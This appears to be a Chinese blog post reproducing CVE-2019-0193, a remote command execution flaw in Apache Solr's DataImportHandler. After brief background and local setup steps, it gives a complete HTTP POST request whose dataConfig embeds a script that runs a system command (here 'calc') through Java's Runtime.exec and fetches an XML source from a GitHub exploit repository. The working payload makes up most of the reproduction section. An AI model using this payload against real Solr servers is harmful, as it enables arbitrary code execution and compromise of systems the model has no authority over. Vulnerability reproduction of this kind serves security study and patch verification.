CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

漏洞背景

2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重

影响范围

Apache Solr < 8.2.0

利用工具

burpsuite

漏洞原因  

Apache solr 是一款开源的搜索服务器并且使用java语言开发;

主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词处理,根据分词结果查找索引,继而找到文档

在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制

漏洞复现

下载影响范围内的Apache solr(我这里用的是7.7.3版本)解压在cmd运行

cd C:\Users\Eulalia\Desktop\solr-7.7.3
cd bin
solr -e dih

CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

 

 浏览器访问 http://localhost:8983/solr 

CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

 

 cmd 命令执行 curl http://localhost:8983/solr/admin/cores 可以获取core信息

CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

 根据获取的core信息中name信息构造payload

CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

 

 payload如下:

POST /solr/atom/dataimport HTTP/1.1
Host: 172.16.228.206:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.228.206:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1005
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=your_name&name=dataimport&dataConfig=<dataConfig>

  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("calc").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

 

利用burpsuite发送即可

上一篇:solr----下载安装


下一篇:OpenWRT SDK Compile Package Error : Package hello is missing dependencies for the following libraries: libc.so.6